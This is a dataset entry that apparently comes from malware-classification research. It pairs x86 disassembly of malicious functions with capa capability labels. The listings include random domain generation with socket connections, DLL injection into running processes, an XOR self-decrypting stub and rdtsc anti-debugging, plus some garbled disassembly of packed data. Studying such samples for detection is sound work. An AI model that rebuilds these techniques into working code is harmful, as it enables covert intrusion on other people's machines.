joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402427
Capabilities:
Create tcp socket
Resolve dns

Disassembly:
push esi
push ebx
sub esp, 0x64
lea esi, [esp + 0x44]
call fcn.004010b2
mov edx, 0xa
mov ecx, edx
xor edx, edx
div ecx
add edx, 5
test edx, edx
mov dword [esp], edx
je 0x40246e
call fcn.004010b2
mov edx, 0x1a
mov ebx, esi
mov ecx, edx
xor edx, edx
inc esi
div ecx
mov al, dl
add al, 0x61
mov byte [ebx], al
mov eax, dword [esp]
dec eax
mov dword [esp], eax
test eax, eax
jmp 0x402448
mov byte [esi], 0x2e
inc esi
call fcn.004010b2
and eax, 7
push dword [eax*4 + 0x410cc0]
push esi
call sub.KERNEL32.DLL_lstrcpyA
cmp dword [0x412030], 4
ja 0x402503
lea eax, [esp + 0x44]
push eax
call sub.WS2_32.DLL_gethostbyname
test eax, eax
mov ebx, eax
je 0x402503
mov eax, dword [eax + 0xc]
cmp dword [eax], 0
je 0x402503
push 0x50
call sub.WS2_32.DLL_htons
mov word [esp + 6], ax
mov eax, dword [ebx + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [esp + 8], eax
push 6
push 1
mov word [esp + 0xc], 2
push 2
call sub.WS2_32.DLL_socket
cmp eax, 0xffffffff
mov ebx, eax
je 0x402503
lea edx, [esp + 4]
push 0x28
call fcn.0040172d
mov dword [esp + 4], eax
push ebx
call sub.WS2_32.DLL_closesocket
pop ecx
cmp dword [esp], 0
jne 0x402503
mov dword [0x412030], 0
jmp 0x4025af
cmp dword [0x4121d0], 0
je 0x4025ba
call fcn.00401832
push 0
push 0
push 0
push 4
push 0x4102e0
call dword [0x4121d0]
test eax, eax
mov esi, eax
je 0x4025ba
mov dword [esp], 0x9c40
push 4
lea ebx, [esp + 4]
push ebx
push 2
push eax
call dword [0x412200]
push 4
push ebx
push 6
push esi
call dword [0x412200]
push 4
push ebx
push 5
push esi
call dword [0x412200]
lea eax, [esp + 0x44]
push eax
push 0x410040
lea ebx, [esp + 0x1c]
push ebx
call sub.USER32.dll_wsprintfA
push 0
push 0x84280300
push 0
push 0
push ebx
push esi
call dword [0x4121e0]
add esp, 0xc
test eax, eax
mov edx, eax
je 0x4025b3
mov eax, dword [0x412030]
cmp eax, 4
ja 0x4025a1
inc eax
mov dword [0x412030], eax
push edx
call dword [0x412210]
push esi
call dword [0x412210]
xor eax, eax
jmp 0x4025bd
push esi
call dword [0x412210]
or eax, 0xffffffff
add esp, 0x64
pop ebx
pop esi
ret
Function at 0x4030de
Capabilities:
Query or enumerate registry value

Disassembly:
push esi
push ebx
sub esp, 0xc
mov ebx, eax
lea esi, [esp + 8]
push esi
push 0x2001f
push 0
push 0x410240
push 0x80000002
call sub.ADVAPI32.DLL_RegOpenKeyExA
test eax, eax
jne 0x403134
mov dword [esp + 4], 0x22a
lea eax, [esp + 4]
push eax
push ebx
lea eax, [esp + 8]
push eax
push 0
push 0x41018d
push dword [esp + 0x1c]
call sub.ADVAPI32.DLL_RegQueryValueExA
test eax, eax
je 0x403176
push dword [esp + 8]
call sub.ADVAPI32.DLL_RegCloseKey
push esi
push 0x2001f
push 0
push 0x410240
push 0x80000001
call sub.ADVAPI32.DLL_RegOpenKeyExA
test eax, eax
jne 0x403185
mov dword [esp + 4], 0x22a
lea eax, [esp + 4]
push eax
push ebx
lea eax, [esp + 8]
push eax
push 0
push 0x41018d
push dword [esp + 0x1c]
call sub.ADVAPI32.DLL_RegQueryValueExA
test eax, eax
jne 0x40317c
mov eax, dword [esp + 8]
jmp 0x403187
push dword [esp + 8]
call sub.ADVAPI32.DLL_RegCloseKey
xor eax, eax
add esp, 0xc
pop ebx
pop esi
ret
Function at 0x40318d
Capabilities:
Enumerate processes

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x164
mov dword [esp + 8], 0
push 0
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov dword [esp], eax
test eax, eax
je 0x4033dc
mov eax, dword [0x412040]
xor ecx, ecx
cmp dword [esp + 8], eax
jge 0x4031cd
mov byte [esp + ecx + 0x144], 0
inc ecx
cmp ecx, eax
jmp 0x4031be
mov dword [esp + 0x14], 0x128
lea eax, [esp + 0x14]
push eax
push dword [esp + 4]
call sub.KERNEL32.DLL_Process32First
test eax, eax
je 0x40338f
mov edx, dword [0x412040]
xor ecx, ecx
cmp ecx, edx
jge 0x403214
mov eax, dword [esp + 0x1c]
cmp dword [ecx*4 + 0x412310], eax
jne 0x403211
mov byte [esp + ecx + 0x144], 1
jmp 0x40337c
inc ecx
jmp 0x4031f3
lea eax, [esp + 0x180]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x17c]
test eax, eax
je 0x40337c
push eax
lea eax, [esp + 0x3c]
call fcn.004010dc
push eax
call sub.KERNEL32.DLL_lstrcmpiA
test eax, eax
jne 0x40336c
mov ebx, dword [esp + 0x1c]
push dword [esp + 0x178]
call sub.KERNEL32.DLL_lstrlenA
cmp dword [0x412100], 2
lea esi, [eax + 1]
jne 0x403307
push ebx
push 0
push 0x2a
call sub.KERNEL32.DLL_OpenProcess
test eax, eax
mov ebx, eax
je 0x40336c
mov dword [esp + 0xc], 0
mov edx, dword [0x412220]
xor ebp, ebp
mov dword [esp + 0x10], esi
test edx, edx
je 0x4032f5
cmp dword [0x412230], 0
je 0x4032f5
cmp dword [0x412260], 0
je 0x4032f5
push 4
push 0x1000
lea edi, [esp + 0x18]
push edi
push 0
lea eax, [esp + 0x1c]
push eax
push ebx
call edx
test eax, eax
js 0x4032f5
push edi
push esi
push dword [esp + 0x180]
push dword [esp + 0x18]
push ebx
call dword [0x412230]
test eax, eax
js 0x4032f5
push 0
mov eax, dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push 0
push dword [esp + 0x14]
push dword [eax]
push 0x1000
push 0
push ebx
call dword [0x412260]
mov ebp, eax
push ebx
call sub.KERNEL32.DLL_CloseHandle
test ebp, ebp
je 0x40336c
push ebp
call sub.KERNEL32.DLL_CloseHandle
jmp 0x40334a
push dword [esp + 0x178]
push 4
push 0x8001000
push esi
push 0
call sub.KERNEL32.DLL_VirtualAlloc
mov dword [esp + 0x10], eax
push eax
call sub.KERNEL32.DLL_lstrcpyA
push 8
mov eax, dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push dword [esp + 0x10]
xor ebx, dword [0x412280]
push dword [eax]
push 0xfffff000
push ebx
call dword [0x412270]
test eax, eax
je 0x40336c
mov eax, dword [0x412040]
mov edx, dword [esp + 0x1c]
mov byte [esp + eax + 0x144], 1
inc dword [esp + 8]
mov dword [eax*4 + 0x412310], edx
inc eax
mov dword [0x412040], eax
mov eax, dword [esp + 4]
add dword [esp + 4], 4
mov eax, dword [eax]
jmp 0x403226
lea eax, [esp + 0x14]
push eax
push dword [esp + 4]
call sub.KERNEL32.DLL_Process32Next
jmp 0x4031e3
push dword [esp]
xor edi, edi
call sub.KERNEL32.DLL_CloseHandle
mov eax, dword [0x412040]
xor ecx, ecx
cmp ecx, eax
jge 0x4033dc
mov ebx, eax
cmp byte [esp + edi + 0x144], 0
jne 0x4033ce
lea esi, [eax - 1]
mov edx, ecx
mov ebx, esi
cmp ecx, esi
jge 0x4033cf
mov eax, dword [edx*4 + 0x412314]
mov dword [edx*4 + 0x412310], eax
inc edx
cmp edx, esi
jmp 0x4033b9
inc ecx
inc edi
cmp ecx, ebx
mov eax, ebx
jl 0x4033a6
mov dword [0x412040], ebx
mov eax, dword [esp + 8]
add esp, 0x164
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x430002
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
call 0x43000c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp int.00401219
Function at 0x47150d
Capabilities:
Execute anti-debugging instructions

Disassembly:
jbe 0x471513
pop eax
popal
cmp dword [ebp + 0xd4511f1], 1
jne 0x4715aa
push 0
push edi
call 0x47152d
and byte [edi - 0x3d], bl
pop edi
mov dword [esp + 4], edi
add dword [esp + 4], 0x1c
inc edi
push edi
ret
jmp 0x472374
lea eax, [ebp + 0xd451211]
xor bx, 0xca98
push eax
pushal
pushal
pushal
popal
push eax
push edx
rdtsc
pop edx
pop eax
popal
push eax
push edx
jae 0x472393
rdtsc
push edi
pop edi
pop edx
pop eax
popal
mov dword [esp], eax
push 0
push esi
call 0x4723a8
and byte [esi - 0x3d], bl
pop esi
mov dword [esp + 4], esi
add dword [esp + 4], 0x16
inc esi
push esi
ret
Function at 0x4bc1d6
Capabilities:
Encode data using xor

Disassembly:
push ecx
sahf
inc ecx
popal
mov byte [edi + 0x27], bl
stosd dword es:[edi], eax
xor byte [esi + 0x4512fd34], cl
push eax
sub ch, byte [0xd723b258]
lahf
pop ebp
mov dl, 0x87
or ebx, dword [ebp + 5]
fimul dword [ecx + 0x64]
lahf
xabort 0x62
push edx
push esp
cmp dh, byte [ebp + 0x74]
imul ecx, dword [eax + 0x64], 0xbeb8eeaf
dec ebp
and dword [esi + 0x40bbf828], eax
and eax, 0xe670609d
cld
xor eax, ecx
cmpsb byte [esi], byte es:[edi]
push esp
sahf
pushfd
adc dword [edi + 0x5f], edi
test dword [eax], ecx
invalid

Function at 0x4bd217
Capabilities:
Encode data using xor

Disassembly:
sub bh, byte [edi - 0x70]
xchg byte [ebp - 0x16cb6357], bh
pushfd
xor al, 0xe9
in eax, 0xc7
dec ebx
jns 0x4bd21d
and al, byte [ebp - 0x79b91593]
int1
invalid

Function at 0x4bdb0d
Capabilities:
Encode data using xor

Disassembly:
cmc
out 0x90, al
or eax, 0xdc80f58b
jnp 0x4bdb23
lcall 0x8358, 0xae20dbf
push es
mov dh, 0x8e
sbb byte [edx], 0xc5
sbb al, ch
sub ebx, edx
jbe 0x4bdb91
lcall 0x578e, 0xe003cbd4
sub al, 0x21
wait
jo 0x4bdb27
mov dword [0x6ffc0cfa], eax
or esi, dword [eax - 0x513bc727]
and al, 0xbd
dec ebp
ljmp 0xaaa9
or dword [edx + 0x6a], ecx
add eax, 0xa3e1045c
fiadd word [0xa100fe99]
in eax, 0x3c
mov cl, 0xb0
insd dword es:[edi], dx
or bh, byte [edi]
mov edx, 0xa341e0e8
or esp, edi
sbb dword [eax + 0x68e836be], edx
jnp 0x4bdbde
jmp 0x4bdc14
xor cl, byte [ecx]
cld
nop
jge 0x4bdc87
add byte [ecx + ebx*4 - 0x69], ah
rcl ah, 1
or byte [ebx - 0x4a1288e6], dl
xchg edx, eax
invalid
cmc
cmp byte [edi], 0x5a
mov ah, 0x75
sahf
push edx
add eax, edi
pop ss
lahf
sub eax, 0x52b903f
mov ecx, 0xef1def87
lahf
sub eax, dword [0x485417a9]
dec eax
int1
int 0x8b
mov eax, dword [0xf673b9e6]
mov esi, 0x581c278f
inc ebp
test ebx, ebp
add al, 0xd8
lds esp, [edx + 0x5c]
adc esp, esp
mov al, byte [0xfb3ab0d1]
or eax, 0x91125b86
popfd
push edx
das
ror dword [ebx + ebp*2], 1
out 0xc6, eax
push 0x860dfb0d
pop ebx
salc
dec ebp
pop ss
mov eax, dword [0x69451de1]
sub bl, byte [esi - 0x2b]
pmulhw mm4, qword [ecx - 0x69]
jae 0x4bdd1a
jae 0x4bdd4e
in al, 0x14
mov cl, byte [esi + 9]
pop ds
cdq
xchg dword [ebp - 0x50cd4269], edx
adc ch, ah
pop ebp
pop es
jns 0x4bdd22
sub byte [ebx - 0x450dea88], dl
mov bh, 0x1b
xor eax, 0xfbe60539
cmp dword [ebp + 0x5d], edi
xchg ebx, eax
js 0x4bdd12
mov edx, 0x39351bb7
add eax, 0x7d39fbe6
pop ebp
insd dword es:[edi], dx
jne 0x4bdd2a
mov word [esi], cs
xchg byte [esi - 0x7e], bl
jns 0x4bdcf9
out 0xe0, al
mov es, esp
out 0x89, al
in eax, dx
pop ebx
loopne 0x4bdca3
invalid
mov ss, word [edi + 0x2c]
test esp, 0xb4015f16
or esp, edi
mov ah, 9
cld
pop ecx
sub al, 0xd7
sub bh, byte [edx]
lock sub ch, byte [ebx - 0x17]
lodsd eax, dword [esi]
mov dword [ecx - 2], esi
xor eax, 0x2b1cc1dc
or bh, byte [edi + 0x448b94c3]
push esi
shr dword [eax + 0x75], 6
loop 0x4bdd6e
movsb byte es:[edi], byte [esi]
ror byte [ebx], 1
imul esp, edi, 0xffffffbd
mov edx, eax
pop edi
inc esp
sahf
bound esp, qword [ecx]
or eax, 0xa4c83d00
call 0x52afd964
mov ecx, 0x1f0f9ee1
push ss
adc byte [ebp - 0x29bc3c4], al
add dword [esi], edi
ljmp 0xe5cd
int 0xe5
invalid
Function at 0x4bef5e
Capabilities:
Encode data using xor

Disassembly:
test eax, 0xfad4066d
insd dword es:[edi], dx
push es
aam 0xfa
push esp
salc
xor byte [edi + 0x65903392], 0x63
jo 0x4befc9
arpl word [eax + 0x5c], si
jns 0x4bef5c
sub dword [edx], edi
xchg ebp, eax
dec edx
dec ebx
daa
inc ebp
wait
push esp
les ebx, [esi - 3]
in al, 0x7a
cmp dword [0xbc83c1c2], ebp
xor dword [0xe36e085b], ebp
insd dword es:[edi], dx
mov al, 0xaf
stc
pop ebx
pop eax
xchg ecx, eax
pushfd
mov ch, 0xf
in eax, dx
mov esp, 0x62e2cdea
cmp dword [ebx - 0x41194ad3], eax
jno 0x4bef6a
cmc
wait
pop esp
pop es
jo 0x4befbe
xchg dh, al
arpl ax, sp
pop eax
add cl, byte [0x7004eb36]
insd dword es:[edi], dx
hlt
pop esp
push eax
lidt [eax - 0x6f]
pushfd
mov ch, 0x63
fcomp st(2)
lds ebp, [ebx + 0x40]
push cs
cmp byte [edi + 0x61], ch
and dword [ebx + edi*4 + 0x55], edx
add al, 0x9a
dec esi
pushal
invalid

Function at 0x4bfacf
Capabilities:
Encode data using xor

Disassembly:
in al, 0x64
das
sal dword [ebp + ecx*8 - 0x52], 1
jg 0x4bfa6f
pop ecx
xchg byte [eax], ch
sub eax, 0x8ccfd277
enter 0x6504, 0xffffffffffffffe1
or ebx, dword [esi + 0x59]
loope 0x4bfa7c
pop esi
pop ecx
std
sal dword [esi - 0x39709415], 1
std
sbb eax, 0x6a0825ac
lds esp, [ecx + ebp]
lodsb al, byte [esi]
and eax, 0x24c56a08
sub dword [0x18d9a977], ebp
sub eax, 0x18d9a977
dec edx
test eax, 0x2ab63ba5
jge 0x4bfa96
test byte [edx], bl
jo 0x4bfae6
inc esi
xchg esp, eax
xchg dword [ebp - 0x78afc981], ecx
sub ecx, edi
jmp 0x50938338
fsubr dword [edx - 0x26]
cmpsb byte [esi], byte es:[edi]
push esp
sub al, 0x23
mov esp, 0x9fced017
pop edx
int1
inc esi
rol dword [ecx + esi*8 - 0x18], 0x75
je 0x4bfac1
int1
call 0xe476f3c
in eax, 0x7f
sar dword [edx - 0x7386a5b2], cl
or eax, 0xbad37fe5
dec esi
pop edx
jns 0x4bfa5b
pop ebx
adc dh, bh
jne 0x4bfb3a
and eax, 0x370529fc
jecxz 0x4bfaae
movsd dword es:[edi], dword [esi]
sbb eax, 0xcd814139
scasb al, byte es:[edi]
js 0x4bfa83
sub ch, ah
inc esp
mov byte [edi - 0x6c551e75], dl
pushal
push ds
push es
in eax, 0x1c
into
pushfd
mov bl, 0x5f
lodsd eax, dword [esi]
dec ebx
adc cl, byte [0xba73c16]
loopne 0x4bfb05
in eax, 0x70
jmp 0x4bfb6f
invalid
push 0x3981767b
in eax, 0x1c
test al, 0xe2
adc cl, byte [esi + 0x5c607b02]
jnp 0x4bfba9
pop esp
pop edi
add byte [eax + 0x20], dh
pop ss
jbe 0x4bfb66
retf 0xdaf9
push ds
sub al, 0x88
dec esi
test byte [ebp + 2], 0x51
pop ebx
wait
out dx, eax
push edi
pop ecx
cdq
invalid
Function at 0x4e4314
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x34
push edi
mov edi, ecx
test byte [edi + 0x1cc], 0x20
je 0x4e443b
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ebx
push esi
push 1
push eax
call dword [ecx + 0x24]
mov esi, eax
mov eax, dword [esi]
push esi
call dword [eax + 0x20]
push eax
call fcn.00470019
pop ecx
mov ebx, eax
mov eax, dword [esi]
push esi
call dword [eax + 8]
mov ecx, edi
call fcn.004d0e33
mov esi, eax
mov eax, dword [esi]
push esi
call dword [eax + 0x20]
push eax
call fcn.00470019
pop ecx
mov dword [ebp - 8], eax
mov eax, dword [esi]
push esi
call dword [eax + 8]
xor esi, esi
push esi
lea ecx, [ebp + 8]
mov dword [ebp - 4], esi
mov dword [ebp + 8], esi
call fcn.00415fdd
push eax
mov ecx, edi
call fcn.004dcc0e
push eax
lea ecx, [ebp - 4]
call fcn.004278ab
cmp dword [eax], esi
je 0x4e43d2
push dword [ebp - 4]
mov ecx, edi
call fcn.004d26e4
mov edi, eax
mov eax, dword [ebp + 8]
cmp eax, esi
je 0x4e43ae
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 4]
cmp eax, esi
je 0x4e43bb
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push eax
mov esi, edi
call dword [ecx + 8]
mov eax, dword [ebx]
push ebx
call dword [eax + 8]
mov eax, esi
pop esi
pop ebx
jmp 0x4e443d
mov dword [ebp - 0x34], 0x74525168
mov dword [ebp - 0x30], 0x74604444
mov eax, dword [ebx]
push ebx
call dword [eax + 0x20]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x28], esi
mov ecx, dword [eax]
push eax
call dword [ecx + 0x20]
push 1
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], 0x74572e54
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x14], esi
call 0x531f37
push 0xffffffffffffffff
push esi
push dword [ebp + 8]
lea eax, [ebp - 0x34]
push dword [ebp + 0xc]
mov ecx, edi
push dword [edi + 0x150]
push eax
call fcn.004dc455
lea ecx, [ebp - 0x10]
mov edi, eax
call 0x531953
jmp 0x4e43a1
xor eax, eax
pop edi
leave
ret 8
Function at 0x4e4700
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x40
push esi
mov esi, ecx
test byte [esi + 0x1cc], 0x20
mov dword [ebp - 0x10], esi
jne 0x4e471f
xor eax, eax
inc eax
jmp 0x4e4890
push edi
xor edi, edi
push edi
lea ecx, [ebp - 8]
mov dword [ebp - 8], edi
mov dword [ebp - 4], edi
call fcn.00415fdd
push eax
mov ecx, esi
call fcn.004dcc0e
push eax
lea ecx, [ebp - 4]
call fcn.004278ab
cmp dword [eax], edi
mov ecx, esi
je 0x4e4773
push dword [ebp - 4]
call fcn.004d26e4
mov esi, eax
mov eax, dword [ebp - 4]
cmp eax, edi
je 0x4e475f
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 8]
cmp eax, edi
je 0x4e476c
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, esi
jmp 0x4e488f
push ebx
call fcn.004d0e33
mov esi, eax
mov eax, dword [esi]
push esi
call dword [eax + 0x20]
push eax
call fcn.00470019
pop ecx
mov edi, eax
mov eax, dword [esi]
push esi
call dword [eax + 8]
mov esi, dword [ebp + 8]
mov eax, dword [esi]
push 1
push esi
call dword [eax + 0x24]
push 2
mov ebx, eax
mov eax, dword [esi]
push esi
call dword [eax + 0x24]
push 3
mov dword [ebp + 8], eax
mov eax, dword [esi]
push esi
call dword [eax + 0x1c]
mov esi, dword [ebp + 8]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], 0x746d90d8
mov eax, dword [esi]
push esi
call dword [eax + 0x20]
mov dword [ebp + 8], eax
mov eax, dword [ebx]
push ebx
call dword [eax + 0x20]
lea ecx, [ebp - 0xc]
mov dword [ebp - 0x18], eax
call fcn.00415f95
mov ecx, dword [ebp - 0x10]
push eax
push dword [ebp - 0x14]
push dword [ebp + 8]
push dword [ebp - 0x18]
call fcn.004d4dbd
push 1
lea ecx, [ebp - 0x1c]
call 0x531f37
mov eax, dword [edi]
push edi
mov dword [ebp - 0x40], 0x74525168
mov dword [ebp - 0x3c], 0x74572d7c
call dword [eax + 0x20]
and dword [ebp - 0x34], 0
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x30], 0x74525a80
mov ecx, dword [eax]
push eax
call dword [ecx + 0x20]
mov ecx, dword [ebp - 0x10]
push 0xffffffffffffffff
mov dword [ebp - 0x2c], eax
xor eax, eax
push eax
push dword [ebp - 8]
mov dword [ebp - 0x24], eax
push dword [ebp + 0xc]
mov dword [ebp - 0x20], eax
push dword [ecx + 0x150]
lea eax, [ebp - 0x40]
push eax
mov dword [ebp - 0x28], 0x74572e5c
call fcn.004dc455
lea ecx, [ebp - 0x1c]
mov dword [ebp + 8], eax
call 0x531953
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esi]
push esi
call dword [eax + 8]
mov eax, dword [ebx]
push ebx
call dword [eax + 8]
mov eax, dword [edi]
push edi
call dword [eax + 8]
mov eax, dword [ebp - 4]
test eax, eax
pop ebx
je 0x4e487f
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 8]
test eax, eax
je 0x4e488c
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp + 8]
pop edi
pop esi
leave
ret 8
Function at 0x4e80d1
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x58
push ebx
push esi
mov dword [ebp - 8], ecx
push 1
lea ecx, [ebp - 0x1c]
call 0x531f37
xor ebx, ebx
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x10], 0x746d90d8
mov dword [ebp - 4], ebx
mov dword [ebp - 0x14], ebx
call fcn.00415f95
mov ecx, dword [ebp - 8]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.004dcd11
push eax
lea ecx, [ebp - 4]
call fcn.004278ab
cmp dword [eax], ebx
je 0x4e813c
push dword [ebp - 4]
mov ecx, dword [ebp - 8]
call fcn.004d26e4
mov esi, eax
mov eax, dword [ebp - 4]
cmp eax, ebx
je 0x4e8224
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x4e8224
mov eax, dword [ebp - 0x10]
push edi
mov dword [ebp - 0x58], 0x7456fbc0
mov ecx, dword [eax]
push eax
call dword [ecx + 0x20]
mov esi, dword [ebp + 8]
push 1
mov dword [ebp - 0x54], eax
mov eax, dword [esi]
push esi
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x48], 0x74525b20
call dword [eax + 0x28]
push 2
mov dword [ebp - 0x44], eax
mov eax, dword [esi]
mov edi, 0x74572e54
push esi
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x3c], 0x74525964
call dword [eax + 0x28]
push 3
mov dword [ebp - 0x38], eax
mov eax, dword [esi]
push esi
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x30], 0x74525950
call dword [eax + 0x28]
push ebx
lea ecx, [ebp - 0xc]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0xc], ebx
call fcn.00415fdd
mov ecx, dword [ebp - 8]
push eax
call fcn.004dcc0e
push eax
lea ecx, [ebp - 4]
call fcn.004278ab
cmp dword [eax], ebx
mov ecx, dword [ebp - 8]
pop edi
je 0x4e81d8
push dword [ebp - 4]
call fcn.004d26e4
mov esi, eax
mov eax, dword [ebp - 0xc]
jmp 0x4e81f7
push 0xffffffffffffffff
push ebx
push dword [ebp - 0xc]
lea eax, [ebp - 0x58]
push dword [ebp + 0xc]
push dword [ebp - 0x14]
push eax
call fcn.004dc455
mov esi, eax
cmp esi, 1
mov eax, dword [ebp - 0xc]
je 0x4e820a
cmp eax, ebx
je 0x4e8126
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x4e8126
cmp eax, ebx
je 0x4e8214
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 4]
cmp eax, ebx
je 0x4e8221
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
xor esi, esi
inc esi
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
lea ecx, [ebp - 0x1c]
call 0x531953
mov eax, esi
pop esi
pop ebx
leave
ret 8
Function at 0x403048
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x47e020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x4030e0
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x4030c0
xor eax, eax
push ebp
push 0x4030b9
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4030fc
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4030c0
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x47e020]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x47e020], ax
mov esp, ebp
pop ebp
ret

Function at 0x403dac
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x48004c], 0
je 0x403e0d
cmp word [0x480220], 0xd7b2
jne 0x403dd5
cmp dword [0x480228], 0
jbe 0x403dd5
mov eax, 0x48021c
call dword [0x480238]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x47e06c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x403e34
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x47e030], 0
jne 0x403e29
push 0
push 0x47e064
push 0x47e06c
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret